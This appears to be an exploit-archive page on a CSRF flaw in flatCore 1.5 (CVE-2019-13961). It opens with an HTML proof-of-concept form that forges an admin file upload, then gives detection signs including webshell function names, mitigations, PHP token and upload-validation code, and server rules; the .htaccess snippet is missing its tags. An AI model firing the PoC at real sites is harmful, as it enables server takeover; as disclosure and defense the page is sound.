flatCore 1.5 - Cross Site Request Forgery (CSRF)

Exploit Author: CodeSecLab Analysis Author: www.bubbleslearn.ir Category: WebApps Language: HTML Published Date: 2025-04-11
# Exploit Title: flatCore 1.5 - Cross Site Request Forgery (CSRF)
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/flatCore/flatCore-CMS
# Software Link: https://github.com/flatCore/flatCore-CMS
# Version: d3a5168
# Tested on: Ubuntu Windows
# CVE : CVE-2019-13961

PoC:
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC</title>
</head>
<body>
    <form action="http://flatcore3/acp/core/files.upload-script.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="upload_destination" value="../content/files">
        <input type="hidden" name="w" value="800">
        <input type="hidden" name="h" value="600">
        <input type="hidden" name="fz" value="1000">
        <input type="hidden" name="unchanged" value="yes">
        <input type="file" name="file" value="test.php">
        <input type="submit" value="Upload">
    </form>
</body>
</html>


[Replace Your Domain Name]


flatCore 1.5 — Cross Site Request Forgery (CSRF) (CVE-2019-13961)

Overview

flatCore 1.5 was disclosed to contain a Cross Site Request Forgery (CSRF) weakness that could be abused to perform authenticated operations on behalf of an administrator. In practice this weakness was chained with file upload handling to enable an attacker to store executable files on the server, leading to remote code execution in some deployments.

Why this matters

  • CSRF attacks allow an attacker to induce a victim with an active session to perform actions they did not intend.
  • When CSRF targets file-upload functionality, an attacker can sometimes place a web-executable payload (for example a PHP webshell) inside the application’s web-accessible directories — resulting in full server compromise.
  • Sites using vulnerable flatCore releases with administrative users who visit attacker-controlled pages are at risk.

Technical summary

The underlying issue is the absence (or inadequate validation) of a per-request, origin-bound anti-CSRF token on sensitive POST endpoints such as administrative file upload handlers. Without a server-side token check or robust origin validation, an attacker can craft a form or a script that causes a logged-in admin’s browser to submit a malicious request to the vulnerable endpoint.

Item Details
Vulnerability class Cross Site Request Forgery (CSRF) leading to file upload abuse
CVE CVE-2019-13961
Affected flatCore 1.5 (specific commits referenced in advisories)
Impact Arbitrary file upload / potential remote code execution

Detecting exploitation

  • Unexpected files in upload directories (e.g., files with executable extensions).
  • Unfamiliar administrative actions in application logs.
  • Web server logs showing POST requests for admin endpoints originating from external Referer origins.
  • Presence of webshell signatures (suspicious PHP functions: eval, system, passthru, shell_exec) in uploaded files.

Mitigations and defenses (high level)

  • Upgrade flatCore to a version containing the upstream security fix.
  • Implement server-side CSRF tokens for all state-changing operations (register and validate tokens on POST).
  • Enforce SameSite cookies, strict Content Security Policy (CSP), and use secure session handling.
  • Harden file upload handling: whitelist extensions, validate MIME and magic bytes, store outside webroot, deny execution in upload directories.
  • Block execution of script files in upload directories via webserver configuration (.htaccess, Nginx rules).
  • Use a WAF to detect and block suspicious upload patterns and CSRF exploitation attempts.

Secure CSRF token pattern (PHP example)

/* CSRF token generation: run when rendering forms */session_start();
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$token = $_SESSION['csrf_token'];
/* Output $token into forms as a hidden input */

This code generates a cryptographically random token per session and stores it in session state. The token should be embedded in any HTML form that performs state-changing actions (POST/PUT/DELETE).

/* CSRF token validation: run at the top of sensitive POST handlers */session_start();
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    exit('Method not allowed');
}
$posted = $_POST['csrf_token'] ?? '';
if (!hash_equals($_SESSION['csrf_token'] ?? '', $posted)) {
    http_response_code(403);
    exit('Invalid CSRF token');
}
/* Continue with processing only after token validation */

This server-side snippet checks the incoming POST for the expected token and rejects the request if it does not match. Use hash_equals to prevent timing attacks. Always pair token checks with strict method checks (POST) and, where possible, origin/referer validation.

Further hardening for file uploads (PHP examples)

/* Example: safe file validation and storage */$allowedExt = ['jpg','png','pdf'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);

/* Validate extension and MIME */if (!in_array($ext, $allowedExt, true) || !preg_match('/^(image\\/|application\\/pdf)/', $mime)) {
    http_response_code(400);
    exit('Invalid file type');
}

/* Move outside webroot and use a random filename */$storageDir = '/var/www/data/uploads/';
$target = $storageDir . bin2hex(random_bytes(16)) . '.' . $ext;
if (!move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
    http_response_code(500);
    exit('Upload failed');
}
/* Set restrictive permissions */chmod($target, 0640);

The code demonstrates a defense-in-depth strategy: extension whitelist, MIME-type validation using libmagic, moving uploaded files outside of web-accessible directories, randomized filenames, and strict file permissions. Avoid relying solely on client-supplied metadata.

Web server rules to prevent execution in upload folders

/* Apache (.htaccess) — deny executing scripts in uploads directory */# Place this file inside the uploads directory

  php_flag engine off


  
    SetHandler none
  

Options -ExecCGI
Require all granted

This .htaccess snippet disables PHP execution inside the uploads directory by turning off the PHP engine and preventing CGI execution. It ensures uploaded files cannot be interpreted as code even if they have a script extension.

# Nginx location block to deny PHP processing in /uploads/
location /uploads/ {
    internal;
    try_files $uri =404;
    # ensure PHP is not passed from this location
    location ~ \.php$ {
        return 404;
    }
}

For Nginx, ensure uploads are served from a location that will not forward requests to the PHP interpreter. Better yet, host uploaded assets on a different domain or serve them via a dedicated static file server/CDN.

Layered mitigations

  • Enforce Referer and Origin header checks in addition to CSRF tokens for high-value actions. Note: referer checks are supplemental, not a replacement.
  • Use SameSite=Lax or SameSite=Strict for session cookies to mitigate cross-site POSTs originating from third-party sites.
  • Enable Content Security Policy (CSP) to reduce the risk of injected pages making unwanted requests or exfiltrating tokens.
  • Scan uploads with antivirus/malware detectors and inspect file contents for embedded PHP or script markers.
  • Regularly patch and monitor third-party components and apply vendor security advisories promptly.

Response and remediation checklist

  • Immediately upgrade flatCore to the vendor-patched release or apply the vendor-recommended patch.
  • Audit upload directories and remove suspicious files; preserve copies for forensic analysis.
  • Rotate credentials and invalidate active sessions for administrative users if compromise is suspected.
  • Harden file upload handling and implement CSRF tokens as described above.
  • Review logs to determine the scope and timeline of any unauthorized activity.
  • Deploy monitoring and alerting to detect future anomalous uploads or admin endpoint access from unexpected origins.

Conclusion

CVE-2019-13961 is a reminder that missing CSRF protections combined with powerful administrative features (like file uploads) create severe attack paths. The recommended course is to patch the application, implement server-side CSRF token validation, strengthen file upload controls, and add server-level protections to deny execution of uploaded files.